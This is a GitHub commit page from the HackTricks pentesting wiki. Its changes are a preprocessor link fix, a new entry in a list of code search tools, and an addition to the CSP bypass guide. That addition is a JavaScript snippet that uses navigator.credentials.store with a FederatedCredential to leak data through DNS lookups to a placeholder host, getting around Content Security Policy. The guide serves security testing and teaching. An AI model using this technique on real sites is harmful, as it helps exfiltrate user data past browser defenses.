Skip to content

Commit

Permalink
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop committed Jan 27, 2025
2 parents b9f636b + daba427 commit 76b3beb
Show file tree
Hide file tree
Showing 3 changed files with 21 additions and 1 deletion.
3 changes: 3 additions & 0 deletions hacktricks-preprocessor.py
Original file line number Diff line number Diff line change
Expand Up @@ -78,6 +78,9 @@ def ref(matchobj):
sys.exit(1)


if href.endswith("/README.md"):
href = href.replace("/README.md", "/index.html")

template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""

# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,8 @@ The goal of this page is to enumerate **platforms that allow to search for code*

This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns.

- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes.
- [**Sourcebot**](https://www.sourcebot.dev/): Open source code search tool. Index and search across thousands of your repos through a modern web interface.
- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes.
- [**Github Search**](https://github.com/search): Search across Github. It supports regexes.
- Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/).
- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes.
Expand Down
16 changes: 16 additions & 0 deletions src/pentesting-web/content-security-policy-csp-bypass/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -794,6 +794,22 @@ var pc = new RTCPeerConnection({
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## Checking CSP Policies Online
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
Expand Down

0 comments on commit 76b3beb

Please sign in to comment.